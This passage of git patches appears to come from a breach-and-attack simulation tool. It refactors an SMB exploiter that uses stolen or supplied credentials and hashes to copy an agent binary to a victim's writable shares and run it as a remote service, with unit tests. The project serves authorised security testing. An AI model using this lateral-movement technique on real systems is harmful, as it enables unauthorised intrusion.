set_timeout(self, timeout: float): """ diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index a6d080147d5..04340e3dd2a 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -2,7 +2,7 @@ # import ntpath from io import BytesIO -from pathlib import PurePath, PureWindowsPath +from pathlib import PurePath from typing import List, Optional, Set, Tuple, Type from common import OperatingSystem @@ -128,10 +128,10 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): # 3. I check to see if the local path is a subpath of any of the shares # a. If it is, I copy the file to the share for share in self._query_shares(): - if not str(destination_path).lower().startswith(share.path.lower()): + if share.path not in destination_path.parents: continue - clean_destination = PureWindowsPath(str(destination_path)[len(share.path) :]) + clean_destination = destination_path.relative_to(share.path) logger.debug(f"Clean destination: {clean_destination}") try: self._connect_to_share(share) @@ -139,11 +139,11 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): self._smb_client.set_timeout(self._options.agent_binary_upload_timeout) tags.add(T1105_ATTACK_TECHNIQUE_TAG) - self._smb_client.send_file(share.name, str(clean_destination), file_io.read) + self._smb_client.send_file(share.name, clean_destination, file_io.read) logger.info( f"Copied monkey agent to remote share '{share.name}' " - f"[{share.path}] on victim {self._host.ip}" + f"[{str(share.path)}] on victim {self._host.ip}" ) self._copied_file_details = CopiedFileDetails( @@ -182,7 +182,8 @@ def _connect_to_share(self, share: ShareInfo): self._smb_client.connect_to_share(share.name) except Exception as err: logger.error( - f'Error connecting tree to share "{share.path}" on victim {self._host.ip}: {err}' + f'Error connecting tree to share "{str(share.path)}" ' + f"on victim {self._host.ip}: {err}" ) raise RemoteFileCopyError(err) @@ -190,13 +191,7 @@ def get_writable_paths(self) -> List[PurePath]: # 1. I query for shares on the remote machine # 2. I output the local paths for each share logger.debug("Retrieving writable paths") - - writable_paths = [ - # TODO: Why are we casting this? - PurePath(PureWindowsPath(info.path)) - for info in self._query_shares() - ] - return writable_paths + return [info.path for info in self._query_shares()] def _query_shares(self) -> Tuple[ShareInfo, ...]: writable_shares = [] @@ -208,7 +203,7 @@ def _query_shares(self) -> Tuple[ShareInfo, ...]: ) continue - if not share.path: + if not share.path.drive: logger.debug( f"Skipping share '{share.name}' on victim " f"{self._host.ip} because share path is invalid", diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index 83d19a6e43b..5994de83953 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -1,5 +1,5 @@ from ipaddress import IPv4Address -from pathlib import PurePath +from pathlib import PurePath, PureWindowsPath from typing import List from unittest.mock import MagicMock @@ -29,9 +29,9 @@ DESTINATION_PATH = PurePath("destination_path") FILE = b"file content" SHARED_RESOURECES = ( - ShareInfo("share1", "path1", current_uses=10, max_uses=1000), - ShareInfo("share2", "path2", current_uses=100, max_uses=100), - ShareInfo("share3", "", current_uses=0, max_uses=10), + ShareInfo("share1", PureWindowsPath("path1"), current_uses=10, max_uses=1000), + ShareInfo("share2", PureWindowsPath("path2"), current_uses=100, max_uses=100), + ShareInfo("share3", PureWindowsPath(""), current_uses=0, max_uses=10), ) TARGET_HOST = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) From 08e73e77901b3520b0aac26958015944783224fd Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 22 Mar 2023 18:05:29 +0000 Subject: [PATCH 0855/1338] SMB: Update SMBClient.send_file to accept file as bytes --- monkey/agent_plugins/exploiters/smb/src/smb_client.py | 8 +++++--- .../exploiters/smb/src/smb_exploit_client.py | 6 +----- 2 files changed, 6 insertions(+), 8 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 68d5acdbaa2..3f9ccec8a26 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -1,5 +1,6 @@ import logging from dataclasses import dataclass +from io import BytesIO from pathlib import PureWindowsPath from typing import Any, Dict, Optional, Sequence, Tuple, Type @@ -265,16 +266,17 @@ def _dce_rpc_connect(rpc_transport) -> DCERPC_v5: rpc.connect() return rpc - def send_file(self, share_name: str, path_name: PureWindowsPath, callback): + def send_file(self, share_name: str, path_name: PureWindowsPath, file: bytes): """ Send a file to the remote host :param share_name: A network share name :param path_name: A remote network share path - :param callback: A callback function that reads the file contents + :param callback: File to copy to the remote host :raises Exception: If an error occurred while sending the file """ - self._get_smb_connection().putFile(share_name, str(path_name), callback) + file_io = BytesIO(file) + self._get_smb_connection().putFile(share_name, str(path_name), file_io.read) def set_timeout(self, timeout: float): """ diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 04340e3dd2a..028db98a07e 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -1,7 +1,4 @@ import logging - -# import ntpath -from io import BytesIO from pathlib import PurePath from typing import List, Optional, Set, Tuple, Type @@ -135,11 +132,10 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): logger.debug(f"Clean destination: {clean_destination}") try: self._connect_to_share(share) - file_io = BytesIO(file) self._smb_client.set_timeout(self._options.agent_binary_upload_timeout) tags.add(T1105_ATTACK_TECHNIQUE_TAG) - self._smb_client.send_file(share.name, clean_destination, file_io.read) + self._smb_client.send_file(share.name, clean_destination, file) logger.info( f"Copied monkey agent to remote share '{share.name}' " From 9e4d44b7d5d6ebc6e968b1baf96c1636e63fc213 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 13:56:33 -0400 Subject: [PATCH 0856/1338] SMB: Improve SMBExploitClient.copy_file() and its tests --- .../exploiters/smb/src/smb_exploit_client.py | 17 ++++---- .../exploiters/smb/test_smb_exploit_client.py | 39 ++++++++++++++----- 2 files changed, 37 insertions(+), 19 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 028db98a07e..be1ede44f7a 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -1,4 +1,5 @@ import logging + from pathlib import PurePath from typing import List, Optional, Set, Tuple, Type @@ -32,11 +33,11 @@ T1110_ATTACK_TECHNIQUE_TAG, # Brute Force T1210_ATTACK_TECHNIQUE_TAG, # Exploitation of Remote Services } +SHARE_DISCOVERY_TAGS = { + T1135_ATTACK_TECHNIQUE_TAG, # Network Share Discovery +} COPY_FILE_TAGS = { - T1021_ATTACK_TECHNIQUE_TAG, # Remote Services T1105_ATTACK_TECHNIQUE_TAG, # Ingress Tool Transfer - T1135_ATTACK_TECHNIQUE_TAG, # Network Share Discovery - T1210_ATTACK_TECHNIQUE_TAG, # Exploitation of Remote Services } EXECUTION_TAGS = { T1021_ATTACK_TECHNIQUE_TAG, # Remote Services @@ -112,9 +113,6 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): self._raise_if_not_authenticated(RemoteFileCopyError) self._destination_path = destination_path - tags.update( - (T1021_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG, T1135_ATTACK_TECHNIQUE_TAG) - ) logger.debug( f"Trying to copy monkey file to [{destination_path}] on victim {self._host.ip}" @@ -124,6 +122,7 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): # 2. I query for shares on the remote machine # 3. I check to see if the local path is a subpath of any of the shares # a. If it is, I copy the file to the share + tags.update(SHARE_DISCOVERY_TAGS) for share in self._query_shares(): if share.path not in destination_path.parents: continue @@ -133,9 +132,9 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): try: self._connect_to_share(share) self._smb_client.set_timeout(self._options.agent_binary_upload_timeout) - tags.add(T1105_ATTACK_TECHNIQUE_TAG) - self._smb_client.send_file(share.name, clean_destination, file) + tags.update(COPY_FILE_TAGS) + self._smb_client.send_file(share.name, clean_destination, file_io) logger.info( f"Copied monkey agent to remote share '{share.name}' " @@ -153,7 +152,7 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): f"on victim {self._host.ip}: {err}" ) logger.error(error_message) - raise RemoteFileCopyError(error_message) + raise RemoteFileCopyError("No writable shares found") def _connect_to_share(self, share: ShareInfo): diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index 5994de83953..da6075f20ef 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -6,8 +6,10 @@ import pytest from agent_plugins.exploiters.smb.src.smb_client import ShareInfo, SMBClient from agent_plugins.exploiters.smb.src.smb_exploit_client import ( + COPY_FILE_TAGS, EXECUTION_TAGS, LOGIN_TAGS, + SHARE_DISCOVERY_TAGS, SMBExploitClient, ) from agent_plugins.exploiters.smb.src.smb_options import SMBOptions @@ -26,12 +28,12 @@ EXPLOITER_TAGS = {"smb-exploiter", "unit-test"} COMMAND = "command" CREDENTIALS: List[Credentials] = [] -DESTINATION_PATH = PurePath("destination_path") +DESTINATION_PATH = PureWindowsPath("C:\\destination_path") FILE = b"file content" SHARED_RESOURECES = ( - ShareInfo("share1", PureWindowsPath("path1"), current_uses=10, max_uses=1000), - ShareInfo("share2", PureWindowsPath("path2"), current_uses=100, max_uses=100), - ShareInfo("share3", PureWindowsPath(""), current_uses=0, max_uses=10), + ShareInfo("share1", PureWindowsPath("C:\\path1"), current_uses=10, max_uses=1000), + ShareInfo("share2", PureWindowsPath("C:\\path2"), current_uses=100, max_uses=100), + ShareInfo("share3", PureWindowsPath("C:\\"), current_uses=0, max_uses=10), ) TARGET_HOST = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) @@ -40,7 +42,6 @@ def mock_smb_client(): client = MagicMock(spec=SMBClient) client.connected.return_value = True - client.query_shared_resources.return_value = SHARED_RESOURECES return client @@ -118,36 +119,54 @@ def test_copy_file__fails_if_not_authenticated( mock_smb_client: SMBClient, smb_exploit_client: SMBExploitClient, ): + tags = EXPLOITER_TAGS.copy() mock_smb_client.connected.return_value = False + with pytest.raises(RemoteFileCopyError): - smb_exploit_client.copy_file(FILE, DESTINATION_PATH, set()) + smb_exploit_client.copy_file(FILE, DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS def test_copy_file__fails_if_no_shares_found( mock_smb_client: SMBClient, smb_exploit_client: SMBExploitClient, ): + tags = EXPLOITER_TAGS.copy() mock_smb_client.query_shared_resources.return_value = () smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + with pytest.raises(RemoteFileCopyError): - smb_exploit_client.copy_file(FILE, DESTINATION_PATH, set()) + smb_exploit_client.copy_file(FILE, DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(SHARE_DISCOVERY_TAGS) def test_copy_file__fails_if_unable_to_connect_to_share( mock_smb_client: SMBClient, smb_exploit_client: SMBExploitClient, ): + tags = EXPLOITER_TAGS.copy() + mock_smb_client.query_shared_resources.return_value = SHARED_RESOURECES mock_smb_client.connect_to_share.side_effect = Exception("failed") smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + with pytest.raises(RemoteFileCopyError): - smb_exploit_client.copy_file(FILE, DESTINATION_PATH, set()) + smb_exploit_client.copy_file(FILE, DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(SHARE_DISCOVERY_TAGS) -def test_copy_file__fails_if_unable_to_copy_file( +def test_copy_file__fails_if_unable_to_send_file( mock_smb_client: SMBClient, smb_exploit_client: SMBExploitClient, ): + tags = EXPLOITER_TAGS.copy() + mock_smb_client.query_shared_resources.return_value = SHARED_RESOURECES mock_smb_client.send_file.side_effect = Exception("file") smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + with pytest.raises(RemoteFileCopyError): - smb_exploit_client.copy_file(FILE, DESTINATION_PATH, set()) + smb_exploit_client.copy_file(FILE, DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(SHARE_DISCOVERY_TAGS, COPY_FILE_TAGS) From 4de3b1d85a99e558e126841f29d2928627372651 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 14:08:07 -0400 Subject: [PATCH 0857/1338] SMB: Remove reconnect logic in SMBExploitClient._connect_to_share() If we need to handle reconnects for this operation, this is probably not the best way to handle it. We'll add this back in if we determine that it's actually necessary in testing. --- .../exploiters/smb/src/smb_exploit_client.py | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index be1ede44f7a..bb607d02814 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -162,17 +162,6 @@ def _connect_to_share(self, share: ShareInfo): :param share: The share to connect to :raise Exception: If the share cannot be connected to """ - - # TODO: Do we really need to handle reconnects? - if not self._smb_client.connected(): - self._raise_if_not_authenticated(RemoteFileCopyError) - try: - self._smb_client.connect_with_user( - self._host, self._authenticated_credentials, self._options.smb_connect_timeout - ) - except Exception as err: - raise RemoteFileCopyError(f"Not connected: {err}") - try: self._smb_client.connect_to_share(share.name) except Exception as err: From c7d7b831dea149e16319e8ae96ea68d133c666fb Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 22 Mar 2023 18:21:28 +0000 Subject: [PATCH 0858/1338] SMB: Convert NetworkPort to int when connecting --- monkey/agent_plugins/exploiters/smb/src/smb_client.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 3f9ccec8a26..a83f930c79e 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -239,7 +239,7 @@ def _rpc_connect_to_port( """ rpc_transport = transport.DCERPCTransportFactory(f"ncacn_np:{host.ip}[\\pipe\\svcctl]") rpc_transport.set_connect_timeout(timeout) - rpc_transport.set_dport(port) + rpc_transport.set_dport(int(port)) rpc_transport.setRemoteHost(str(host.ip)) rpc_transport.set_credentials( username=credentials.identity.username, From fff42ab1694cc0b961f11fd57d7b5f41bfc08518 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 14:26:46 -0400 Subject: [PATCH 0859/1338] UT: Add test_get_writable_paths() --- .../exploiters/smb/test_smb_exploit_client.py | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index da6075f20ef..32d704513de 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -1,5 +1,5 @@ from ipaddress import IPv4Address -from pathlib import PurePath, PureWindowsPath +from pathlib import PureWindowsPath from typing import List from unittest.mock import MagicMock @@ -34,6 +34,7 @@ ShareInfo("share1", PureWindowsPath("C:\\path1"), current_uses=10, max_uses=1000), ShareInfo("share2", PureWindowsPath("C:\\path2"), current_uses=100, max_uses=100), ShareInfo("share3", PureWindowsPath("C:\\"), current_uses=0, max_uses=10), + ShareInfo("share4", PureWindowsPath("invalid_path"), current_uses=50, max_uses=100), ) TARGET_HOST = TargetHost(ip=IPv4Address("1.1.1.1"), operating_system=OperatingSystem.WINDOWS) @@ -170,3 +171,12 @@ def test_copy_file__fails_if_unable_to_send_file( smb_exploit_client.copy_file(FILE, DESTINATION_PATH, tags) assert tags == EXPLOITER_TAGS.union(SHARE_DISCOVERY_TAGS, COPY_FILE_TAGS) + + +def test_get_writable_paths(mock_smb_client: SMBClient, smb_exploit_client: SMBExploitClient): + mock_smb_client.query_shared_resources.return_value = SHARED_RESOURECES + writable_paths = smb_exploit_client.get_writable_paths() + + assert len(writable_paths) == 2 + assert SHARED_RESOURECES[0].path in writable_paths + assert SHARED_RESOURECES[2].path in writable_paths From c28fe1f10c19644a4d82268d84f6b4bd0382a91b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 14:35:41 -0400 Subject: [PATCH 0860/1338] SMB: Fix SMBExploitClient.copy_file() bug --- .../exploiters/smb/src/smb_exploit_client.py | 3 +-- .../exploiters/smb/test_smb_exploit_client.py | 13 +++++++++++++ 2 files changed, 14 insertions(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index bb607d02814..dc4dfa8cf36 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -1,5 +1,4 @@ import logging - from pathlib import PurePath from typing import List, Optional, Set, Tuple, Type @@ -134,7 +133,7 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): self._smb_client.set_timeout(self._options.agent_binary_upload_timeout) tags.update(COPY_FILE_TAGS) - self._smb_client.send_file(share.name, clean_destination, file_io) + self._smb_client.send_file(share.name, clean_destination, file) logger.info( f"Copied monkey agent to remote share '{share.name}' " diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index 32d704513de..f2ff302429a 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -173,6 +173,19 @@ def test_copy_file__fails_if_unable_to_send_file( assert tags == EXPLOITER_TAGS.union(SHARE_DISCOVERY_TAGS, COPY_FILE_TAGS) +def test_copy_file__success( + mock_smb_client: SMBClient, + smb_exploit_client: SMBExploitClient, +): + tags = EXPLOITER_TAGS.copy() + mock_smb_client.query_shared_resources.return_value = SHARED_RESOURECES + smb_exploit_client.login(FULL_CREDENTIALS[0], set()) + + smb_exploit_client.copy_file(FILE, DESTINATION_PATH, tags) + + assert tags == EXPLOITER_TAGS.union(SHARE_DISCOVERY_TAGS, COPY_FILE_TAGS) + + def test_get_writable_paths(mock_smb_client: SMBClient, smb_exploit_client: SMBExploitClient): mock_smb_client.query_shared_resources.return_value = SHARED_RESOURECES writable_paths = smb_exploit_client.get_writable_paths() From 794b3826be1b2ac19b14386a836c5c217936c9dc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 14:38:15 -0400 Subject: [PATCH 0861/1338] SMB: Reorder methods in SMBExploitClient --- .../exploiters/smb/src/smb_exploit_client.py | 42 +++++++++---------- 1 file changed, 21 insertions(+), 21 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index dc4dfa8cf36..4e134429e44 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -154,6 +154,27 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): raise RemoteFileCopyError("No writable shares found") + def _query_shares(self) -> Tuple[ShareInfo, ...]: + writable_shares = [] + for share in self._smb_client.query_shared_resources(): + if share.current_uses >= share.max_uses: + logger.debug( + f"Skipping share '{share.name}' on victim " + f"{self._host.ip} because max uses is exceeded", + ) + continue + + if not share.path.drive: + logger.debug( + f"Skipping share '{share.name}' on victim " + f"{self._host.ip} because share path is invalid", + ) + continue + + writable_shares.append(share) + + return tuple(writable_shares) + def _connect_to_share(self, share: ShareInfo): """ Gets the SMB share @@ -175,24 +196,3 @@ def get_writable_paths(self) -> List[PurePath]: # 2. I output the local paths for each share logger.debug("Retrieving writable paths") return [info.path for info in self._query_shares()] - - def _query_shares(self) -> Tuple[ShareInfo, ...]: - writable_shares = [] - for share in self._smb_client.query_shared_resources(): - if share.current_uses >= share.max_uses: - logger.debug( - f"Skipping share '{share.name}' on victim " - f"{self._host.ip} because max uses is exceeded", - ) - continue - - if not share.path.drive: - logger.debug( - f"Skipping share '{share.name}' on victim " - f"{self._host.ip} because share path is invalid", - ) - continue - - writable_shares.append(share) - - return tuple(writable_shares) From 952390338cc74cdb753dcf6b5a7cba8de4f6407b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 14:39:13 -0400 Subject: [PATCH 0862/1338] SMB: Remove unused CopiedFileDetails --- .../exploiters/smb/src/smb_exploit_client.py | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 4e134429e44..dcac82ad77f 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -46,14 +46,6 @@ SMB_PORTS = [NetworkPort(139), NetworkPort(445)] -# Should this just be a variable? -class CopiedFileDetails: - """Stores the details of a copied file""" - - def __init__(self, destination_path: PurePath): - self.destination_path = destination_path - - class SMBExploitClient(IRemoteAccessClient): """Manages the SMB connection, Exploitation events""" @@ -65,7 +57,6 @@ def __init__( ): self._host = host self._options = options - self._copied_file_details: Optional[CopiedFileDetails] = None self._authenticated_credentials: Optional[Credentials] = None self._smb_client = smb_client self._destination_path: Optional[PurePath] = None @@ -140,10 +131,6 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): f"[{str(share.path)}] on victim {self._host.ip}" ) - self._copied_file_details = CopiedFileDetails( - # PurePath(ntpath.join(share.path, destination_path.strip(ntpath.sep))), - clean_destination, - ) return except Exception as err: error_message = ( From 7355401dc4ef87f6490332b32e66359045ade2fa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 14:43:00 -0400 Subject: [PATCH 0863/1338] SMB: Remove instance object default for smb_client --- monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py | 2 +- .../exploiters/smb/src/smb_exploit_client_factory.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index dcac82ad77f..c1bb5794254 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -53,7 +53,7 @@ def __init__( self, host: TargetHost, options: SMBOptions, - smb_client: SMBClient = SMBClient(), + smb_client: SMBClient, ): self._host = host self._options = options diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_factory.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_factory.py index 193863c62e6..063f9ab78a4 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_factory.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client_factory.py @@ -3,6 +3,7 @@ from infection_monkey.exploit.tools import IRemoteAccessClientFactory from infection_monkey.i_puppet import TargetHost +from .smb_client import SMBClient from .smb_exploit_client import SMBExploitClient from .smb_options import SMBOptions @@ -17,4 +18,4 @@ def __init__( self._options = options def create(self, **kwargs: Any) -> SMBExploitClient: - return SMBExploitClient(self._host, self._options) + return SMBExploitClient(self._host, self._options, SMBClient()) From 4f587e37921fbf94111bfb918884f073007220a5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 14:44:30 -0400 Subject: [PATCH 0864/1338] SMB: Remove unnecessary SMBExploitClient._destination_path attribute --- monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index c1bb5794254..c3c5e2c8192 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -59,7 +59,6 @@ def __init__( self._options = options self._authenticated_credentials: Optional[Credentials] = None self._smb_client = smb_client - self._destination_path: Optional[PurePath] = None def login(self, credentials: Credentials, tags: Set[str]): tags.update(LOGIN_TAGS) @@ -102,8 +101,6 @@ def execute_detached(self, command: str, tags: Set[str]): def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): self._raise_if_not_authenticated(RemoteFileCopyError) - self._destination_path = destination_path - logger.debug( f"Trying to copy monkey file to [{destination_path}] on victim {self._host.ip}" ) From 76af94efad1ac88415bc2834538644696d283ecf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 14:49:56 -0400 Subject: [PATCH 0865/1338] SMB: Reduce duplication in SMBExploitClient._query_shares() --- .../exploiters/smb/src/smb_exploit_client.py | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index c3c5e2c8192..9b6db594d02 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -140,19 +140,15 @@ def copy_file(self, file: bytes, destination_path: PurePath, tags: Set[str]): def _query_shares(self) -> Tuple[ShareInfo, ...]: writable_shares = [] + for share in self._smb_client.query_shared_resources(): + skip_message = f"Skipping share '{share.name}' on victim {self._host.ip} because" if share.current_uses >= share.max_uses: - logger.debug( - f"Skipping share '{share.name}' on victim " - f"{self._host.ip} because max uses is exceeded", - ) + logger.debug(f"{skip_message} maximum uses is exceeded") continue if not share.path.drive: - logger.debug( - f"Skipping share '{share.name}' on victim " - f"{self._host.ip} because share path is invalid", - ) + logger.debug(f"{skip_message} the share path is invalid") continue writable_shares.append(share) From cb8a1dace9e279993487e01ef43722f53db67fd2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 22 Mar 2023 15:01:15 -0400 Subject: [PATCH 0866/1338] SMB: Push storing of authenticated credentials down into SMBClient --- .../exploiters/smb/src/smb_client.py | 22 +++++++++---------- .../exploiters/smb/src/smb_exploit_client.py | 8 ++----- .../exploiters/smb/test_smb_exploit_client.py | 7 +++++- 3 files changed, 18 insertions(+), 19 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index a83f930c79e..48b0e8d1e4a 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -60,6 +60,7 @@ class SMBClient: def __init__(self): self._smb_connection: Optional[SMBConnection] = None + self._authenticated_credentials: Optional[Credentials] = None def connected(self) -> bool: return self._smb_connection is not None and not self._smb_connection.isLoginRequired() @@ -112,6 +113,7 @@ def _smb_login(self, credentials: Credentials): lmhash=secret_for_type(credentials, LMHash), nthash=secret_for_type(credentials, NTHash), ) + self._authenticated_credentials = credentials def _logout_guest(self): """Return True if logged in as guest. Raise SessionError if logout fails""" @@ -170,7 +172,6 @@ def run_service( command: str, host: TargetHost, ports_to_try: Sequence[NetworkPort], - credentials: Credentials, timeout: float, ): """ @@ -180,11 +181,10 @@ def run_service( :param command: Command to be run :param host: Target host on which to run the service :param ports_to_try: A list of network ports - :param credentials: Credentials used for authentication :param timeout: Timeout to use for the RPC connection :raises Exception: If an error occurred while connecting over SMB """ - rpc = SMBClient._rpc_connect(host, ports_to_try, credentials, timeout) + rpc = self._rpc_connect(host, ports_to_try, timeout) rpc.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(rpc) sc_handle = resp["lpScHandle"] @@ -217,21 +217,19 @@ def run_service( scmr.hRDeleteService(rpc, service_handle) scmr.hRCloseServiceHandle(rpc, service_handle) - @staticmethod def _rpc_connect( - host: TargetHost, ports: Sequence[NetworkPort], credentials: Credentials, timeout: float + self, host: TargetHost, ports: Sequence[NetworkPort], timeout: float ) -> transport.DCERPCTransport: """Connects to the remote host and returns the RPC connection""" for port in ports: try: - return SMBClient._rpc_connect_to_port(host, port, credentials, timeout) + return self._rpc_connect_to_port(host, port, timeout) except Exception as err: logger.debug(f"Failed to create RPC connection on port {port}: {err}") raise Exception("Failed to establish an RPC connection over SMB") - @staticmethod def _rpc_connect_to_port( - host: TargetHost, port: NetworkPort, credentials: Credentials, timeout: float + self, host: TargetHost, port: NetworkPort, timeout: float ) -> transport.DCERPCTransport: """ Connects to the remote host over the specified port and returns the RPC connection. @@ -242,11 +240,11 @@ def _rpc_connect_to_port( rpc_transport.set_dport(int(port)) 